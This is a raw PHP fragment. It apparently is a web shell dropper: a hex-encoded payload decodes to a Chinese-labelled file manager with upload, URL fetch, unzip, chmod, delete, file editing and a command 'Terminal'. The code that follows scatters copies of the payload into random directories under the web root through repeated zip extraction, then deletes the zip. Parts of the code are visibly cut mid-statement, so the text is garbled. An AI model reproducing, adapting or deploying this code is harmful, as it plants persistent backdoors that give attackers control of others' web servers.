020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69d833c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e79c9fe8a681e999a4e9ad94efbc9f2729223ee781ad3c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d2272696768742d70616e656c223e0d0a20202020202020203c212d2d20e5b7a5e585b7e7aeb1202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09fa7b020e6b395e5ae9de5ba93e688bf3c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020202020202020202020e694b6e7bab3efbc9a3c696e70757420747970653d2266696c6522206e616d653d2266696c65223e203c627574746f6e3ee585a5e58ca33c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275726c646c223e0d0a2020202020202020202020202020202055524c20e69184e58f96efbc9a3c696e70757420747970653d227465787422206e616d653d2275726c22207374796c653d2277696474683a3630253b223e203c627574746f6e3ee69184e69da53c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d22756e7a6970223e0d0a20202020202020202020202020202020e8a7a3e5b081efbc9a3c696e70757420747970653d227465787422206e616d653d227a697022207374796c653d2277696474683a3630253b223e203c627574746f6e3ee8a7a3e58db03c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b646972223e20e5bc80e6b49eefbc9a3c696e70757420747970653d227465787422206e616d653d226e616d65223e203c627574746f6e3ee5bc80e8be9f3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b66696c65223e20e79599e4b9a6efbc9a3c696e70757420747970653d227465787422206e616d653d226e616d65223e203c627574746f6e3ee79599e5ad973c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e7bb88e7abaf202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ee29881efb88f20e7ad8be69697e4ba9120285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d227465787422206e616d653d22636c6f756422207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee885bee4ba913c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824636d645f726573293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824636d645f726573293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b202466203d20245f4745545b27646f776e6c6f6164275d3b2069662869735f66696c652824662929207b206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b207265616466696c65282466293b20657869743b207d207d0d0a2f2f20e69fa5e79c8b0d0a69662028697373657428245f4745545b2776696577275d2929207b202466203d20245f4745545b2776696577275d3b2069662869735f66696c652824662929207b206563686f20273c64697620636c6173733d2263617264223e3c68333ee99885efbc9a272e626173656e616d65282466292e273c2f68333e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b207d207d0d0a2f2f20e7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee4bfaeefbc9a272e626173656e616d65282466292e273c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a202020206563686f20273c627574746f6e20747970653d227375626d6974223ee5b081e5ad983c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f6c64203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69bb4e5908d3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d226f6c64222076616c75653d22272e246f6c642e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d226e6577222076616c75653d22272e626173656e616d6528246f6c64292e27223e203c627574746f6e3ee5ae9ae5908d3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69d83e58db03c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d226d6f6465223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee58aa0e79b963c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e"]; error_reporting(0); $GLOBALS["root0"] = $_SERVER['DOCUMENT_ROOT']; function r($q){return $GLOBALS["root0"]."/".ltrim($q,"/");} function getRandDirs($q,$z){$h="";for($aa=0;$aa<$z;$aa++){$bb=getRandDir($q.$h);if(!$bb)break;$h.=$bb.'/';}return trim($h,"/");} function getRandDir($q){$cc=array();$dd=scandir($q);foreach($dd as $bb){if($bb=='.'||$bb=='..')continue;if(is_dir($q.'/'.$bb))$cc[]=$bb;}if(count($cc)==0)return null;return $cc[array_rand($cc)];} $root=r(''); $ret = array(); $rrr = array(); $bn = array(); for($i=0;$i<200;$i++) { //$rr=$root.getRandDirs(r(''),rand(3,6)); $rr=getRandDirs(r(''),rand(3,6)); if(!in_array($rr,$rrr)) { $rrr[] = $rr; $bn[] = basename($rr); } if(count($rrr)==25) { break; } } $dm = $d; $dd = array(); $dd['a']=r(''); $cp = array(); $a = -1; $allcount = count($dm); $files = array(); for($i=0;$iopen($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($files as $filePath) { $a = $a+1; $zip->addFromString($filePath, hex2bin($dm[$a%$allcount])); } $zip->close(); echo "ZIP文件 '$zipFile' 成功创建\n"; } else { echo "无法创建或打开ZIP文件。";exit(); } $zip = new ZipArchive(); if ($zip->open($zipFile) === TRUE) {$zip->extractTo($root);$zip->extractTo($root);$zip->extractTo($root);$zip->extractTo($root);$zip->extractTo($root);$zip->extractTo($root);$zip->extractTo($root);$zip->extractTo($root);$zip->close();} else {} @unlink($zipFile); $currentUrl = ''; if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on'){ $currentUrl .= "https"; }else{ $currentUrl .= "http"; } $currentUrl .= "://".$_SERVER['HTTP_HOST']."/"; for($i=0;$i